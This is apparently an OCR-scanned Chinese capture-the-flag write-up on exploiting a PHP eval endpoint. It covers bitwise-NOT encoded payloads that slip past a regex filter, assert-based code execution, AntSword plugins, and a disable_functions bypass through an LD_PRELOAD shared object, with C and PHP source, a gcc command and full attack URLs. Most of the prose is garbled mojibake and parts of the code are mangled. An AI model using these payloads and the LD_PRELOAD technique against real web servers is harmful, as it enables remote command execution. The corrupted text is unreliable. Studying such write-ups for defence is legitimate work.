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TIFMT, RIIRAT:

<?php
error_reporting(0);
if(isset($_GET[ DX
$code=$_GET[ 1;
if(strlen($code)>40){
die(
}
if(preg_match( »$code)){
die( )
b
@eval($code);
bj
elseq{
highlight file(__FILE_ );
s

PHPF it

eval
(PHP 4, PHP 5, PHP 7, PHP 8)
eval — B 4F 5 /EAPHPA RS $1T

PR, B4 code ERIKEANREMITA0, code WABRBEHFESFH, FHWBURST, BH5%EMIE payload , BEHEPHPIHA
AR 5 F R 3

<?php

echo urlencode(

B #F 4471817 php -r "echo urlencode(~'phpinfo');"

BITH R %8F%O7%8F%96%91%99%90 , ARJFHIAUr:
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?code=(~%8F%97%8F%96%91%99%90) () ;

BIWEFE phpinfo, VFEF disable functions FHEKEZHAMARLERE.

EF eval R PATPHPARIE, AR DUEEA S HIEIER, Bl iER D i SR m .

<?php
echo urlencode(

echo ;

echo urlencode(

PHPF

assert
(PHP 4, PHP 5, PHP 7, PHP 8)
assert — BE— M S RGN false, MESHREZRE, BB assert() Zft PHP ARELRHAT

BATER:

6OE%BC%8CHIA%BD%3B
%6D7%9A%89%9E%93%D7%DB%AO%AF %BO%ACKABKIAAL%IC%92%9B%A2%D6%D6

Hurl:

?code=(~%9E%BCHBCHIA%BD%8B ) (~%D7%9A%B9%IE%I3%D7%DBHABKAF %BOBACKABRAA%ICHI2%9BK%A2%D6%D6 ) ;

ARSI 2 B XA T s, SEWT:

URL 33k http://173fe301-469d-4513-a8d6-735982ba516c.node4.buuoj.cn/?code=(~%9E%8C%8C%IA%BD%8B) (~%D7%9A%89%9E%93
%D7%DB%A@%AF%B@%AC%AB%A4%9C%92%9B%A2%D6%D6);
EREER omd

oA it -
IS E UTF8
R PHP

HAtAZ ., HEATCABEERE, HER ¢ _PosT["cnd"] —E.

TEREF TR readflag . AHERBFITHEN LN, RAXNELIHERESHLSMAEHIT, FTURNFES
i disable_functions » —RERUHAFEF T disable functions , LA LH AMSEANRERAT. BEERY, S webshell &~
ReBAT iy 2 1 R B KRR =28

1. php.ini FF] disable_functions FE/R282E5F T system() - exec() ZEZEXEarSPHAT AR EL.
2. web FHFEIBITIE rbash XFZ[R shell HfiEH

3. WAF 3.

fre—, NEEPITEMES, H=. =, NTU#ITLEmS. NLETIEKE, BAIBEH disable_functions FTEl.
SZiERH, FIFEITER RCE JWIAAT phpinfo() ,» HAIARIHIIML, system. exec s shell exec #R#EZEILT . FrARRATH B HE
PR AR 375 Bl -

1. bypass open basedir @i M T EITHREF, M.
2. bypass disable functions i id Ffl 775581 disable_functions

3. execute readflag B TE —)5, MW LLEIEWAT /readflag -



I Fhged disable functions HIFi%k:

1. Bk fEimdfr, ISWEEGSEANNR web MHEHAKEmAMN, W, ImageMagick KRR, bash KIBTEHRIA;

2. SHAZHRBMEE, ¥ LEHATHSHIREE system() « exec() - shell exec() - passthru() , R
popen() « proc_open() -~ pcntl_exec() , ZF 2R, HFHIRMZ f;

3. mod_cgi A, ZiMEH .htaccess , AEBEERVFMEE, 54T php.ini H (T RR H1;

4. TIP3 E LD_PRELOAD BN R R, LSMBEFMBER *.s0, XEPTRAGSHIMR. FERERX—MITER
Ao

References

T Esendmail: LD PRELOADZE i disable_functions - FreeBuffi 4% 22447 Mk ] P

J5 i — FH S i 52 disable_functions

AT LA M NS R AT FFiEHE T, %3 as_bypass_php_disable_functions f&ff, HH]LAZE HF antSword\antData\plugins
F cmd BT fr &R M, PR iRER AT L.

git clone https://github.com/Medicean/as_bypass_php_disable_functions.git

RHEM T RIE, EMIEPRASHRAIurl, BN siddisable_functions k. % PHP7_Gc_uaF R, AEiTTth. RE
1E W3 & 35 LB 4T /readflag , 18 Zlflag.

References
I &I AntSword iy & 4T #55%: Bypass Disable Functions

bypass disable_functionf) 7712 & i § #f {4 bypass-php-functionfs F

F:— A LD preload# 5 &, HFHLENZE

LD _preloadsE X.:

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader
will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

Bl LD_PRELOAD IXAMFABEAR B4R E MR M SO, SAEHM SRR, RESAM.

LD_PRELOAD JR¥AFI BT : I RIRE S web B 3h#H#FE abin (BI{E#EL LEILRERKE) , abin AEAHRER
¥ b(), b) LT REILENSR csod, FUARZENZBHBEMBIL c.so, WAL c.so BILSEMILATIEM c_evil.so, c_evilso K
HE5b() ALKEREE, BT c evilso BELE R, FrLh, abin¥iARHE c_evil.so W b() THIER LK c.so W b(), [

B, c_evilso A#%, BEPTERREMER. ETFX—BE, ¥R disable_functions FREIBITEIE RGHLSX—HR, K

BRI

o BEHBEHAARZAREAH

o BAERGUIE T HFF RARBIENAGD
o RINEEIFHER PHP R

o PHP 35 T $I 7 & 4t i BE ARG

1E /var/tmp/ B FHEE EAEWIR, 7€ /var/tmp BT _EAEFHA XM bypass_disablefunc.php 1 bypass disablefunc_x64.s0 o

References


https://www.freebuf.com/articles/web/192052.html
https://www.uedbox.com/post/58634/
https://www.cnblogs.com/zw1sh/p/12632126.html

S E B

GitHub - yangyangwithgnu/bypass_disablefunc_via LD PRELOAD: bypass disable functions via LD_PRELOA (no need

lusr/sbin/sendmail)

bypass_disablefunc.php JRi5:

$cmd $ GET[ 1;
$out_path = $ GET[ 1;
$evil cmdline $cmd $out_path

echo $evil cmdline

putenv( $evil cmdline);

$so_path = $ GET] IE
putenv( $so_path);

mail("",

echo nl2br(file_get contents($out_path))

unlink($out_path);

B FPHPF it :

nl2br

(PHP 4, PHP 5, PHP 7, PHP 8)

nI2br — 7EFRF A AT Z AN HTML 34T4RE, EZFEIIEFITZ A
B

Y, FIR[EL

bypass_disablefunc_x64.so J5%:


https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

_GNU_SOURCE

extern char** environ;

_attribute_ ((__constructor_)) void preload (void)

const char* cmdline getenv (

int i;

for (i 0; environ[i]; i) {
if (strstr(environ[i],

environ[i][@]

system(cmdline);

gcc -shared -fPIC bypass.c -o bypass_disablefunc_x64.so

fPIC A FomiFEM B, & VRgnFa887= 4 540 B 655 A% (Position-Independent Code), MIF=AFREGH, BA LN bk, 480 A X b
b, HOARS T AN A IR B WA AE R LB, #A LEB T . XIERILEFEERE, RREEGNEN, 78 W77 KA E AR R
ZE [

References

bypass_disable_functions

BE T EARRRA SO RTEARD, BT DURIE MM Epayload T, BRI BRATI L 2% 7E B B 4% 4 A url:

/?code=assert(include("/var/tmp/bypass_disablefunc.php"));&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/by|
pass_disablefunc_x64.so

EHEESITHEEAMT, MBSO Funl:

/?code=${_GET}[_]1(${_GET}[__]);& =assert& =include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tm

p/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

ERXHERANT, FELBRL T RETHRG . W%

FESe

/ ?code=${%fe%kfekferfe r%alibo%bb%aal[ ] (${%fekfekfekter%alkbo%bb%aa}[ ]1);& =assert& =include("/var/tmp/bypass d

isablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

Bz 5eid -

/ ?code=${~%A0%B8%BA%AB}[ 1(${~%A0%B8%BA%AB}[ 1);& =assert& =include("/var/tmp/bypass_disablefunc.php")&cmd=/re

adflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so



http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/

WAL EAER—Fhurl, BIWI4EZEflag.
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